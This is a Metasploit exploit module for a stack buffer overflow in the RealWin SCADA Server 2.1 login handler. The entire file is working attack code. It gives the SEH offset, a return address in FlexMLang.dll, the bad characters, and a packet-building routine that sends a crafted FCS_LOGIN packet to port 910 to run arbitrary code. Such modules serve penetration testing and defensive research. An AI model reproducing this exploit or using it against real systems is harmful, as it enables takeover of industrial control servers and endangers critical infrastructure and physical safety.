RealWin SCADA Server DATAC Login Buffer Overflow

##
# $Id: realwin_on_fcs_login.rb 13007 2011-06-22 22:36:55Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealWin SCADA Server DATAC Login Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in DATAC Control
    International RealWin SCADA Server 2.1 (Build 6.0.10.10) or
    earlier.  By sending a specially crafted On_FC_CONNECT_FCS_LOGIN
    packet containing a long username, an attacker may be able to
    execute arbitrary code.
   },
   'Author'         =>
    [
     'Luigi Auriemma', #discovery
     'MC',
     'B|H <bh[AT]bufferattack.com>'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13007 $',
   'References'     =>
    [
     [ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],
     [ 'URL', 'http://www.dataconline.com/software/realwin.php' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 450,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Universal',
      {
       'Offset'   => 392,         # Offset to SEH
       'Ret'      => 0x40012540,  # pop/pop/ret @FlexMLang.dll
      }
     ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Mar 21 2011'))

  register_options([Opt::RPORT(910)], self.class)
 end

 def exploit
  data =  [0x67542310].pack('V')
  data << [0x00000824].pack('V')
  data << [0x00110011].pack('V')
  data << "\x01\x00"
  data << rand_text_alpha_upper(target['Offset'])
  data << generate_seh_payload(target.ret)
  data << rand_text_alpha_upper(17706 - payload.encoded.length)
  data << [0x451c3500].pack('V')
  data << [0x00000154].pack('V')
  data << [0x00020040].pack('V')

  connect
  print_status("Trying target #{target.name}...")
  sock.put(data)
  select(nil,nil,nil,0.5)
  handler
  disconnect
 end

end